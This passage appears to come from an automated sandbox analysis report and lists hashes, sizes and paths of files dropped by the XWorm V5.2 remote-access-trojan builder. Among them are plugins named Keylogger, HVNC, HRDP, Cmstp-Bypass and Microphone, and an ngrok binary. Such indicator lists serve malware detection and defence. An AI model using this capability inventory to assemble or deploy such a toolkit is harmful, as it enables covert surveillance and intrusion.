                                                                                    71e2aaa2d1bb7dbe32a00e1d01d744830ecce08f

                                                                                    SHA256

                                                                                    47578a37901c82f66e4dba47acd5c3cab6d09c9911d16f5ad0413275342147ed

                                                                                    SHA512

                                                                                    1c66dbe1320c1a84023bdf77686a2a7ab79a3e86ba5a4ea2cda9a37f8a916137d5cfec30b28ceae181355f6f279270465ef63ae90b7e8dcd4c1a8198a7fd36a8

                                                                                  • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

                                                                                    Filesize

                                                                                    16.4MB

                                                                                    MD5

                                                                                    ee2397b5f70e81dd97a4076ba1cb1d3a

                                                                                    SHA1

                                                                                    8350f648ebd269b4bca720b4143dd3edcdfafa8f

                                                                                    SHA256

                                                                                    b5b1454e2e3a66edf3bde92b29a4f4b324fa3c3d88dc28e378c22cb42237cc67

                                                                                    SHA512

                                                                                    57fc76393881c504ac4c37a8ea812a7e21f2bed4ffa4de42a2e6e4558a78bba679ec0f8fcdc39798306c3a97e424fb875680b7f78ac07be3f7f58df093575562

                                                                                  • C:\Users\Admin\AppData\Local\Temp\vbc32E8B7AAF0F84207A071A578266E4BC.TMP

                                                                                    Filesize

                                                                                    1KB

                                                                                    MD5

                                                                                    d40c58bd46211e4ffcbfbdfac7c2bb69

                                                                                    SHA1

                                                                                    c5cf88224acc284a4e81bd612369f0e39f3ac604

                                                                                    SHA256

                                                                                    01902f1903d080c6632ae2209136e8e713e9fd408db4621ae21246b65bfea2ca

                                                                                    SHA512

                                                                                    48b14748e86b7d92a3ea18f29caf1d7b4b2e1de75377012378d146575048a2531d2e5aaeae1abf2d322d06146177cdbf0c2940ac023efae007b9f235f18e2c68

                                                                                  • C:\Users\Admin\AppData\Local\Temp\y4cqihhe\y4cqihhe.0.vb

                                                                                    Filesize

                                                                                    77KB

                                                                                    MD5

                                                                                    ad99299f00cd6e3a9e798de334d2685f

                                                                                    SHA1

                                                                                    3b3e460c0bbfd5cc04800d7c8dc3661be1235b79

                                                                                    SHA256

                                                                                    a63fd9a5425c2824cd4abecfc75fc16e34825ace3cddeae1dca9979dcd2c1ab6

                                                                                    SHA512

                                                                                    ff94f798a52dbeb4b778ca4a8fa8230d1b66b5942b38c9f01d576bba0a2212b0fa174f840a797048a47f27f1909b21a04c0076270923e8677ff1fd4d46105d9e

                                                                                  • C:\Users\Admin\AppData\Local\Temp\y4cqihhe\y4cqihhe.cmdline

                                                                                    Filesize

                                                                                    303B

                                                                                    MD5

                                                                                    af9bffad4c30b356552837f66806d50c

                                                                                    SHA1

                                                                                    7a37f79391199bd87c093b965f53bbb4045a2e45

                                                                                    SHA256

                                                                                    9d3981fa283985fb6f2f2917b3ea540e616dea878f9036415b9d62be08bc6f7f

                                                                                    SHA512

                                                                                    c6b5797080f30dc530a1489b544acd6fd12227af15f5b4473ed4c5354aee9d562cdaae4a14759841c56a52b55c790a51598a0af58ae844697b38fc07c708a398

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\GMap.NET.Core.dll

                                                                                    Filesize

                                                                                    2.9MB

                                                                                    MD5

                                                                                    819352ea9e832d24fc4cebb2757a462b

                                                                                    SHA1

                                                                                    aba7e1b29bdcd0c5a307087b55c2ec0c7ca81f11

                                                                                    SHA256

                                                                                    58c755fcfc65cddea561023d736e8991f0ad69da5e1378dea59e98c5db901b86

                                                                                    SHA512

                                                                                    6a5b0e1553616ea29ec72c12072ae05bdd709468a173e8adbdfe391b072c001ecacb3dd879845f8d599c6152eca2530cdaa2c069b1f94294f778158eaaebe45a

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\GMap.NET.WindowsForms.dll

                                                                                    Filesize

                                                                                    147KB

                                                                                    MD5

                                                                                    32a8742009ffdfd68b46fe8fd4794386

                                                                                    SHA1

                                                                                    de18190d77ae094b03d357abfa4a465058cd54e3

                                                                                    SHA256

                                                                                    741e1a8f05863856a25d101bd35bf97cba0b637f0c04ecb432c1d85a78ef1365

                                                                                    SHA512

                                                                                    22418d5e887a6022abe8a7cbb0b6917a7478d468d211eecd03a95b8fb6452fc59db5178573e25d5d449968ead26bb0b2bfbfada7043c9a7a1796baca5235a82b

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\GeoIP.dat

                                                                                    Filesize

                                                                                    1.2MB

                                                                                    MD5

                                                                                    8ef41798df108ce9bd41382c9721b1c9

                                                                                    SHA1

                                                                                    1e6227635a12039f4d380531b032bf773f0e6de0

                                                                                    SHA256

                                                                                    bc07ff22d4ee0b6fafcc12482ecf2981c172a672194c647cedf9b4d215ad9740

                                                                                    SHA512

                                                                                    4c62af04d4a141b94eb3e1b0dbf3669cb53fe9b942072ed7bea6a848d87d8994cff5a5f639ab70f424eb79a4b7adabdde4da6d2f02f995bd8d55db23ce99f01b

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Guna.UI2.dll

                                                                                    Filesize

                                                                                    1.9MB

                                                                                    MD5

                                                                                    bcc0fe2b28edd2da651388f84599059b

                                                                                    SHA1

                                                                                    44d7756708aafa08730ca9dbdc01091790940a4f

                                                                                    SHA256

                                                                                    c6264665a882e73eb2262a74fea2c29b1921a9af33180126325fb67a851310ef

                                                                                    SHA512

                                                                                    3bfc3d27c095dde988f779021d0479c8c1de80a404454813c6cae663e3fe63dc636bffa7de1094e18594c9d608fa7420a0651509544722f2a00288f0b7719cc8

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Icons\icon (15).ico

                                                                                    Filesize

                                                                                    361KB

                                                                                    MD5

                                                                                    e3143e8c70427a56dac73a808cba0c79

                                                                                    SHA1

                                                                                    63556c7ad9e778d5bd9092f834b5cc751e419d16

                                                                                    SHA256

                                                                                    b2f57a23ecc789c1bbf6037ac0825bf98babc7bf0c5d438af5e2767a27a79188

                                                                                    SHA512

                                                                                    74e0f4b55625df86a87b9315e4007be8e05bbecca4346a6ea06ef5b1528acb5a8bb636ef3e599a3820dbddcf69563a0a22e2c1062c965544fd75ec96fd9803fc

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Mono.Cecil.dll

                                                                                    Filesize

                                                                                    350KB

                                                                                    MD5

                                                                                    de69bb29d6a9dfb615a90df3580d63b1

                                                                                    SHA1

                                                                                    74446b4dcc146ce61e5216bf7efac186adf7849b

                                                                                    SHA256

                                                                                    f66f97866433e688acc3e4cd1e6ef14505f81df6b26dd6215e376767f6f954bc

                                                                                    SHA512

                                                                                    6e96a510966a4acbca900773d4409720b0771fede37f24431bf0d8b9c611eaa152ba05ee588bb17f796d7b8caaccc10534e7cc1c907c28ddfa54ac4ce3952015

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\MonoMod.Backports.dll

                                                                                    Filesize

                                                                                    138KB

                                                                                    MD5

                                                                                    dd43356f07fc0ce082db4e2f102747a2

                                                                                    SHA1

                                                                                    aa0782732e2d60fa668b0aadbf3447ef70b6a619

                                                                                    SHA256

                                                                                    e375b83a3e242212a2ed9478e1f0b8383c1bf1fdfab5a1cf766df740b631afd6

                                                                                    SHA512

                                                                                    284d64b99931ed1f2e839a7b19ee8389eefaf6c72bac556468a01f3eb17000252613c01dbae88923e9a02f3c84bcab02296659648fad727123f63d0ac38d258e

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\MonoMod.Core.dll

                                                                                    Filesize

                                                                                    216KB

                                                                                    MD5

                                                                                    b808181453b17f3fc1ab153bf11be197

                                                                                    SHA1

                                                                                    bce86080b7eb76783940d1ff277e2b46f231efe9

                                                                                    SHA256

                                                                                    da00cdfab411f8f535f17258981ec51d1af9b0bfcee3a360cbd0cb6f692dbcdd

                                                                                    SHA512

                                                                                    a2d941c6e69972f99707ade5c5325eb50b0ec4c5abf6a189eb11a46606fed8076be44c839d83cf310b67e66471e0ea3f6597857a8e2c7e2a7ad6de60c314f7d3

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\MonoMod.ILHelpers.dll

                                                                                    Filesize

                                                                                    6KB

                                                                                    MD5

                                                                                    6512e89e0cb92514ef24be43f0bf4500

                                                                                    SHA1

                                                                                    a039c51f89656d9d5c584f063b2b675a9ff44b8e

                                                                                    SHA256

                                                                                    1411e4858412ded195f0e65544a4ec8e8249118b76375050a35c076940826cd0

                                                                                    SHA512

                                                                                    9ffb2ff050cce82dbfbbb0e85ab5f976fcd81086b3d8695502c5221c23d14080f0e494a33e0092b4feb2eda12e2130a2f02df3125733c2f5ec31356e92dea00b

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\MonoMod.Utils.dll

                                                                                    Filesize

                                                                                    319KB

                                                                                    MD5

                                                                                    79f1c4c312fdbb9258c2cdde3772271f

                                                                                    SHA1

                                                                                    a143434883e4ef2c0190407602b030f5c4fdf96f

                                                                                    SHA256

                                                                                    f22a4fa1e8b1b70286ecf07effb15d2184454fa88325ce4c0f31ffadb4bef50a

                                                                                    SHA512

                                                                                    b28ed3c063ae3a15cd52e625a860bbb65f6cd38ccad458657a163cd927c74ebf498fb12f1e578e869bcea00c6cd3f47ede10866e34a48c133c5ac26b902ae5d9

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\NAudio.dll

                                                                                    Filesize

                                                                                    502KB

                                                                                    MD5

                                                                                    3b87d1363a45ce9368e9baec32c69466

                                                                                    SHA1

                                                                                    70a9f4df01d17060ec17df9528fca7026cc42935

                                                                                    SHA256

                                                                                    81b3f1dc3f1eac9762b8a292751a44b64b87d0d4c3982debfdd2621012186451

                                                                                    SHA512

                                                                                    1f07d3b041763b4bc31f6bd7b181deb8d34ff66ec666193932ffc460371adbcd4451483a99009b9b0b71f3864ed5c15c6c3b3777fabeb76f9918c726c35eb7d7

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Newtonsoft.Json.dll

                                                                                    Filesize

                                                                                    695KB

                                                                                    MD5

                                                                                    195ffb7167db3219b217c4fd439eedd6

                                                                                    SHA1

                                                                                    1e76e6099570ede620b76ed47cf8d03a936d49f8

                                                                                    SHA256

                                                                                    e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d

                                                                                    SHA512

                                                                                    56eb7f070929b239642dab729537dde2c2287bdb852ad9e80b5358c74b14bc2b2dded910d0e3b6304ea27eb587e5f19db0a92e1cbae6a70fb20b4ef05057e4ac

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\ActiveWindows.dll

                                                                                    Filesize

                                                                                    14KB

                                                                                    MD5

                                                                                    eea1f284c21e67f9ae71822798793c28

                                                                                    SHA1

                                                                                    ce3187b35a736a3c18f10f449dfcb793c95dca26

                                                                                    SHA256

                                                                                    77ec3eee197d5c4b9ed3d6c059061c52615276360fe11f13f8a6bb6ce429f42b

                                                                                    SHA512

                                                                                    5b3f72d803f250668b9ada77b1a03ecd8662787b8e51c01a4e334503a5f1545ac9dc341804d0d1552e9c35596443e1a610553e3d1ab80aaef6e0f5283384def4

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\All-In-One.dll

                                                                                    Filesize

                                                                                    4.8MB

                                                                                    MD5

                                                                                    f24552f5f604c80ba4cf7afd2143df05

                                                                                    SHA1

                                                                                    98883b7bf9b996c788bb501336e388177b9b19c2

                                                                                    SHA256

                                                                                    e050a91599f3e6a89dc84a4825fdea6c4d66e970472aabf48ff586d79b67898c

                                                                                    SHA512

                                                                                    1edb1f6cc4bdb3b69204fa724b2f8a5205b3251f475ae7cf8cb015220a26e9a976c1baa3c938e8fb9df1470795ff579e21b339b58c79f96af96cfdd17eba6c15

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Chat.dll

                                                                                    Filesize

                                                                                    18KB

                                                                                    MD5

                                                                                    66e4c3a843b1076b96c48cfa0b467bcd

                                                                                    SHA1

                                                                                    2768257ff7ddc6107a576c4b739eeb09689772eb

                                                                                    SHA256

                                                                                    6b5beda1f2423aedaf83f210f8cb719d3f61f9d2cd489690fb0066ff0895ab80

                                                                                    SHA512

                                                                                    7912e5806b169a1da88ebf92842ec410ce3dd8d98578054e77cc4381e90ee174a497ea1f38a54c5c65c8475a7928cfc79ae8dd58b979c18f7133c5c83e145879

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Clipboard.dll

                                                                                    Filesize

                                                                                    14KB

                                                                                    MD5

                                                                                    6ea5b16696c2f2d265c9f864d0c727ba

                                                                                    SHA1

                                                                                    030a0bf757767869428b0a7e11cd40df7a0cfe5a

                                                                                    SHA256

                                                                                    301ab3fe52f974dc5bab98bd127c93d755597fb58a0756539cde7ad4580725b1

                                                                                    SHA512

                                                                                    2426b43886ddf9896d9f27862de08ba9eada25b432c715259b71b000a2b474bcf29ba224ac0f3fad3224ef36b17b250d593f907ce0c18703cc37e152a7321203

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Cmstp-Bypass.dll

                                                                                    Filesize

                                                                                    11KB

                                                                                    MD5

                                                                                    cf15259e22b58a0dfd1156ab71cbd690

                                                                                    SHA1

                                                                                    3614f4e469d28d6e65471099e2d45c8e28a7a49e

                                                                                    SHA256

                                                                                    fa420fd3d1a5a2bb813ef8e6063480099f19091e8fa1b3389004c1ac559e806b

                                                                                    SHA512

                                                                                    7302a424ed62ec20be85282ff545a4ca9e1aecfe20c45630b294c1ae72732465d8298537ee923d9e288ae0c48328e52ad8a1a503e549f8f8737fabe2e6e9ad38

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\FileManager.dll

                                                                                    Filesize

                                                                                    679KB

                                                                                    MD5

                                                                                    b9dea988042c4d9878931cac41d61fb8

                                                                                    SHA1

                                                                                    82885bd2d01d27f4ce3741885256d7db418038b7

                                                                                    SHA256

                                                                                    29b44c17c85f05ced52004db716a156fc9e50b52debc8e061e2ea96957cc0d07

                                                                                    SHA512

                                                                                    81192c5b1f2e67787b569218c03e4c274a2184fb0e762afed6e3608995e3e1d1987306f32f64f28bc287fb09746476b4c7c60479fe0a5cefa186e5b208d8bacd

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\FileSeacher.dll

                                                                                    Filesize

                                                                                    478KB

                                                                                    MD5

                                                                                    fe625a7c51e699336f9acc3108437134

                                                                                    SHA1

                                                                                    50099ae8c3679930400261c80ade073157fe4f80

                                                                                    SHA256

                                                                                    68e4e6f42ffdf5ed18f1849e30f83b1baed1cfa57c68f57178bfa875e247c2b7

                                                                                    SHA512

                                                                                    26b9bf3c0b31fe029201c884f7d220b0bfe589d33dd6aa0dfd665c38af07c2352e89859198e0e9b18339c0e6c8f1e9c44358b222106531659aeb0d6f6c6c0c44

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\HBrowser.dll

                                                                                    Filesize

                                                                                    25KB

                                                                                    MD5

                                                                                    79f13be3582c42df73033819d093e1f8

                                                                                    SHA1

                                                                                    45c25633bfd0ab3c4f95b7137eb9671b911ea595

                                                                                    SHA256

                                                                                    f38e74a4bee2cf29d710d7c58eb83e548d92604621a8fb076bdc1e79714b9938

                                                                                    SHA512

                                                                                    e6e4331d26f35ac52d3524da0c6cdbb4bb36af54b57c61bce564bfec8663245bc7e5ff192c44a3c731e9ce7b83fdff40f274347a5241f6322833a92df944adb5

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\HRDP.dll

                                                                                    Filesize

                                                                                    1.7MB

                                                                                    MD5

                                                                                    4f16882639fc029fc367503eb820c298

                                                                                    SHA1

                                                                                    1e6b1314507e954649604dd9f80b4c45a93d7e89

                                                                                    SHA256

                                                                                    ef238f294111804c44f465d090a1634b6529d1eba85720b2e373d57cd59f75d6

                                                                                    SHA512

                                                                                    1fc02358b8347fac1acf751f7fe9c5d4d17cc35ee3df2052b69fdd518939092b54b8d29ecbf112d53604c087b01728d8961005d3946880df896998526a578ebf

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\HVNC.dll

                                                                                    Filesize

                                                                                    58KB

                                                                                    MD5

                                                                                    b5ea6d82ec2d4127124eb9467eb5ce16

                                                                                    SHA1

                                                                                    0a27f08f94a80024854721c73c7715af95581da7

                                                                                    SHA256

                                                                                    ecb1a845bc2e813193e628eea48738f2354eb1ce8902a092118aa48ea2ff4bc7

                                                                                    SHA512

                                                                                    ab459d26ce689d5c7fb533fb754b875896c214e0001ecc6e8b061f7cdaf1aec06400f66f506822775337a42b80f4e1e9ab008a658cfacc873cfa83eaab6f1880

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\HVNCMemory.dll

                                                                                    Filesize

                                                                                    39KB

                                                                                    MD5

                                                                                    14ca9b8f7993924b77078e08ec0d5df5

                                                                                    SHA1

                                                                                    fb2b5717da357f6d13bb1127980c22bada68836a

                                                                                    SHA256

                                                                                    8ab3391fa5880be5991133416bae0d5b76daa2d43c8ff92ff44d6dda23386e57

                                                                                    SHA512

                                                                                    64aac1a872666bce5bb86144a6f96bb6905a2d900d76e8d2d6f1cf8b499baefd35c7fb4d6b5150d5717451c5ad632d677ae6f85737d334a7cebbd9d725c9964f

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\HiddenApps.dll

                                                                                    Filesize

                                                                                    45KB

                                                                                    MD5

                                                                                    c5efa70a04a026b9a2fa97b1ea43e840

                                                                                    SHA1

                                                                                    aab2de0ab74c12e04256ff2b113b062dc93179e6

                                                                                    SHA256

                                                                                    f9ef7709f34e944d99ca5bef6af1524d7cf3889894084b7ae61e9202f267a728

                                                                                    SHA512

                                                                                    1348d4ebd3ac5b56eb32820ee14f9aee20a43b7dc3d06dd7fd62c8f227b12a27d0c0376c7d858e78315cd92d17e588bc2e37648c04d146530db706e8b3c4ff1d

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Informations.dll

                                                                                    Filesize

                                                                                    22KB

                                                                                    MD5

                                                                                    310ba7a07953ed7f783e89bcff6197e3

                                                                                    SHA1

                                                                                    147aa53e0d7cb027e6c67fa50fcb0dc0c770e157

                                                                                    SHA256

                                                                                    b10616eb3f5e4b0ceffc696179cdb616c78ef970dedbac10845a39985c91a38a

                                                                                    SHA512

                                                                                    554ead0f700dd617eed6055a84ecad288c4779ab20206e7434a8f3443a03a95a501014cd52390eb57570c25ea2bd7a298b96e88e8550d10b2a5db4f9633af529

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Keylogger.dll

                                                                                    Filesize

                                                                                    17KB

                                                                                    MD5

                                                                                    40ba99b80654259d0428c7e4f3645948

                                                                                    SHA1

                                                                                    8fa93e0f035694cd8e420aa2232aca859b3a2a6b

                                                                                    SHA256

                                                                                    3361bb2309e4ee31f14081bc170ac530e2ae9d1336026e736190a0304e2e77e4

                                                                                    SHA512

                                                                                    fc1deb29eea114e5a472102a51d49fa253a5c79821acffa930b30089ebecec4312437d4720b46e92149be2ce69aed57dc3939621a596ed6c413397363fa44ee7

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Maps.dll

                                                                                    Filesize

                                                                                    15KB

                                                                                    MD5

                                                                                    b74f037f6c6de44e817660922a3044fc

                                                                                    SHA1

                                                                                    eb5acc30d3f607193bd819e8c0cdaaf70295c5b4

                                                                                    SHA256

                                                                                    ccb32961b904a22c2531313ed7c3733d7288daab181074f034eb4c73a0958a65

                                                                                    SHA512

                                                                                    a547961b87ecdbc0f9bf02381f16e03795dc73eda744a86da2cc07c97d7f1b65642971347d1ca69f36ead63c3b9078b6e0f2ecb4b6f2178a3b9a62f3ffb76579

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\MessageBox.dll

                                                                                    Filesize

                                                                                    15KB

                                                                                    MD5

                                                                                    bde9c12607827e21c64e1d64033043b5

                                                                                    SHA1

                                                                                    d980614dda65f1f4c3a73d1f9c8162e597fcac4e

                                                                                    SHA256

                                                                                    2170fe155b56e362500ece32013bbf8d45d5dc93e689ab33d3612066c7450f75

                                                                                    SHA512

                                                                                    e015d9b915b748d1683c18621919161f9d495221c9bf788b661e3eeab60320ee0b0d9d64a393fafa47b521b484f0af2c9948f6dac0a9b7ef1e8910571e7e98eb

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Microphone.dll

                                                                                    Filesize

                                                                                    540KB

                                                                                    MD5

                                                                                    747554e4ca902a8d18b797c2edcb43ed

                                                                                    SHA1

                                                                                    508d7c9f0b031a352a1a1f25d4c6abf4167392d5

                                                                                    SHA256

                                                                                    1f135bc57ea4f44bf8a37d66b42788bed5aba753c5cbd0b4d3349ede64abfc59

                                                                                    SHA512

                                                                                    deb3f480dc7febb1d9ff4ccdb1dd04d83e9fbe7e74fb0dd39d103dbe85fa0c434407ab032e9bca027e38a0f482d08308513cd821b09dc08aafafd905e97126fd

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Ngrok-Disk.dll

                                                                                    Filesize

                                                                                    7.0MB

                                                                                    MD5

                                                                                    4443f2173682ef836df2f89e1b44296e

                                                                                    SHA1

                                                                                    1b0db6530eb5c5404af614143f464d663382c2e4

                                                                                    SHA256

                                                                                    01e170bc479dc22cec4658a39067e001a72a974a4e562aca01162f82decd20b6

                                                                                    SHA512

                                                                                    7bb8df753fc3636d3b01f2145c1df553b34a427a9e07d4c563a1fb2e23480ba2d609658d6ca2c4deaa386feff8af741397a3cbdb15c28157c4cf4ba8244fb61f

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Options.dll

                                                                                    Filesize

                                                                                    30KB

                                                                                    MD5

                                                                                    b0ebfc762fd2a7511e819336524551ea

                                                                                    SHA1

                                                                                    b3657c8edc6b9231d16b49bec11f01983d965495

                                                                                    SHA256

                                                                                    bf2978e31b7a1612255ff79217481374ea2ae976c2b8c270ec3eb5324251d8d7

                                                                                    SHA512

                                                                                    2adfff3089ac551ba057f2b4b2d208255a4558abb2761b39fd9cc10f37313386fdc1307fffb80777e0a1b6c1d1dbabf61b26cbff8592e77f982453679145822d

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Pastime.dll

                                                                                    Filesize

                                                                                    17KB

                                                                                    MD5

                                                                                    178627a4b30c54d20e5a59049b5af211

                                                                                    SHA1

                                                                                    5ae226eb92df19cb693764509b953bf1dbfeffcd

                                                                                    SHA256

                                                                                    c3ffa5aedbfe2c83e68d7b70afd1adb590801da429c3a5d4fd6da18116ab0cc9

                                                                                    SHA512

                                                                                    75e9684378f5155f228a75c03cb517257e7e04cddf9762e7e5b348f7b30482a9c750cb0285e28279dc9ef740c3ce759e4ebfb4e3efddd094daab7eb3bdf713c8

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\Performance.dll

                                                                                    Filesize

                                                                                    16KB

                                                                                    MD5

                                                                                    d447b98bf277020e48a04d2771b190ba

                                                                                    SHA1

                                                                                    a9b312d1d858e06156eecab2cd97d246a37822e8

                                                                                    SHA256

                                                                                    57af9bb212361e2dbfe97a784beb2f978426b42f9ea0986f74c8fbfebb630f13

                                                                                    SHA512

                                                                                    8c58bf90c5433005d7e3c8a871171dd5fbc558947d5ce387351fa7625ed6bf2a6b72afa91f8d3c7243c5e950467855838f27b6356266074321204347cded15a1

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Plugins\ProcessManager.dll

                                                                                    Filesize

                                                                                    17KB

                                                                                    MD5

                                                                                    12630688eb6538b34e5a392cde76ec09

                                                                                    SHA1

                                                                                    add2c24ef79657f47693995b1ddb2c760520670a

                                                                                    SHA256

                                                                                    8dbffc8d2928cc2fe3dc67b071619419bd4e21506bf8d8b66bbdef54101953d3

                                                                                    SHA512

                                                                                    24da487f34fbad245f64f86b88db8c61041e80956c2befe859903ece46905ded09e90e08f2d148316947dde8a4990bd1c944ad36a96930b197769dab025689e0

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\RVGLib.dll

                                                                                    Filesize

                                                                                    241KB

                                                                                    MD5

                                                                                    d34c13128c6c7c93af2000a45196df81

                                                                                    SHA1

                                                                                    664c821c9d2ed234aea31d8b4f17d987e4b386f1

                                                                                    SHA256

                                                                                    aaf9fb0158bd40ab562a4212c2a795cb40ef6864042dc12f3a2415f2446ba1c7

                                                                                    SHA512

                                                                                    91f4e0e795f359b03595b01cbf29188a2a0b52ab9d64eadd8fb8b3508e417b8c7a70be439940975bf5bdf26493ea161aa45025beb83bc95076ed269e82d39689

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\SimpleObfuscator.dll

                                                                                    Filesize

                                                                                    1.4MB

                                                                                    MD5

                                                                                    9043d712208178c33ba8e942834ce457

                                                                                    SHA1

                                                                                    e0fa5c730bf127a33348f5d2a5673260ae3719d1

                                                                                    SHA256

                                                                                    b7a6eea19188b987dad97b32d774107e9a1beb4f461a654a00197d73f7fad54c

                                                                                    SHA512

                                                                                    dd6fa02ab70c58cde75fd4d4714e0ed0df5d3b18f737c68c93dba40c30376cc93957f8eef69fea86041489546ce4239b35a3b5d639472fd54b80f2f7260c8f65

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\Sounds\Intro.wav

                                                                                    Filesize

                                                                                    238KB

                                                                                    MD5

                                                                                    ad3b4fae17bcabc254df49f5e76b87a6

                                                                                    SHA1

                                                                                    1683ff029eebaffdc7a4827827da7bb361c8747e

                                                                                    SHA256

                                                                                    e3e5029bf5f29fa32d2f6cdda35697cd8e6035d5c78615f64d0b305d1bd926cf

                                                                                    SHA512

                                                                                    3d6ecc9040b5079402229c214cb5f9354315131a630c43d1da95248edc1b97627fb9ba032d006380a67409619763fb91976295f8d22ca91894c88f38bb610cd3

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XClient.exe

                                                                                    Filesize

                                                                                    33KB

                                                                                    MD5

                                                                                    22a830ee782e75acba9bc5a36eaba668

                                                                                    SHA1

                                                                                    cb14c96d751d72c6d5fd5305796d045a169f3b51

                                                                                    SHA256

                                                                                    c3c68685c829da556f85155fa908165fc3f57ddbbfce37c5c692b42cb53deec9

                                                                                    SHA512

                                                                                    6d3e163495ed6c00db631e65ccc81d027632d0b67905da62ebfbc72aefa1ea96576580eafb7837a9e143470aa8658944f79f8433faa62e414fc4c03df343643d

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XClient.exe

                                                                                    Filesize

                                                                                    63KB

                                                                                    MD5

                                                                                    5c4a3bdca17732e7fd3ea4b038d76372

                                                                                    SHA1

                                                                                    0be4b7f06d52a50635bb0481385c90c8d369e325

                                                                                    SHA256

                                                                                    6b287a99704ddfa5ca7e2811100989be6bac7b20532997b54ad1e405e79918d1

                                                                                    SHA512

                                                                                    028aa31ee3841d923fc4144832de2f0ebaa4ce82e7a0997cfac82e41aeec4381cad01dec8c993403acfdff4c452f0188472762f337c5586167dbc672efbc12ea

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XWorm V5.2.exe

                                                                                    Filesize

                                                                                    12.2MB

                                                                                    MD5

                                                                                    8b7b015c1ea809f5c6ade7269bdc5610

                                                                                    SHA1

                                                                                    c67d5d83ca18731d17f79529cfdb3d3dcad36b96

                                                                                    SHA256

                                                                                    7fc9c7002b65bc1b33f72e019ed1e82008cc7b8e5b8eaf73fc41a3e6a246980e

                                                                                    SHA512

                                                                                    e652913f73326f9d8461ac2a631e1e413719df28c7938b38949c005fda501d9e159554c3e17a0d5826d279bb81efdef394f7fb6ff7289cf296c19e92fd924180

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XWorm V5.2.exe.config

                                                                                    Filesize

                                                                                    183B

                                                                                    MD5

                                                                                    66f09a3993dcae94acfe39d45b553f58

                                                                                    SHA1

                                                                                    9d09f8e22d464f7021d7f713269b8169aed98682

                                                                                    SHA256

                                                                                    7ea08548c23bd7fd7c75ca720ac5a0e8ca94cb51d06cd45ebf5f412e4bbdd7d7

                                                                                    SHA512

                                                                                    c8ea53ab187a720080bd8d879704e035f7e632afe1ee93e7637fad6bb7e40d33a5fe7e5c3d69134209487d225e72d8d944a43a28dc32922e946023e89abc93ed

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XWormLoader 5.2 x32.exe

                                                                                    Filesize

                                                                                    109KB

                                                                                    MD5

                                                                                    f3b2ec58b71ba6793adcc2729e2140b1

                                                                                    SHA1

                                                                                    d9e93a33ac617afe326421df4f05882a61e0a4f2

                                                                                    SHA256

                                                                                    2d74eb709aea89a181cf8dfcc7e551978889f0d875401a2f1140487407bf18ae

                                                                                    SHA512

                                                                                    473edcaba9cb8044e28e30fc502a08a648359b3ed0deba85e559fe76b484fc8db0fc2375f746851623e30be33da035cec1d6038e1fcf4842a2afb6f9cd397495

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XWormLoader 5.2 x64.exe

                                                                                    Filesize

                                                                                    109KB

                                                                                    MD5

                                                                                    e6a20535b636d6402164a8e2d871ef6d

                                                                                    SHA1

                                                                                    981cb1fd9361ca58f8985104e00132d1836a8736

                                                                                    SHA256

                                                                                    b461c985b53de4f6921d83925b3c2a62de3bbc5b8f9c02eecd27926f0197fae2

                                                                                    SHA512

                                                                                    35856a0268ed9d17b1570d5392833ed168c8515d73fac9f150cf63cc1aea61c096aa2e6b3c8e091a1058ba062f9333f6767e323a37dfb6f4fa7e508a2a138a30

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\XWormLoader 5.2 x64.exe.config

                                                                                    Filesize

                                                                                    187B

                                                                                    MD5

                                                                                    15c8c4ba1aa574c0c00fd45bb9cce1ab

                                                                                    SHA1

                                                                                    0dad65a3d4e9080fa29c42aa485c6102d2fa8bc8

                                                                                    SHA256

                                                                                    f82338e8e9c746b5d95cd2ccc7bf94dd5de2b9b8982fffddf2118e475de50e15

                                                                                    SHA512

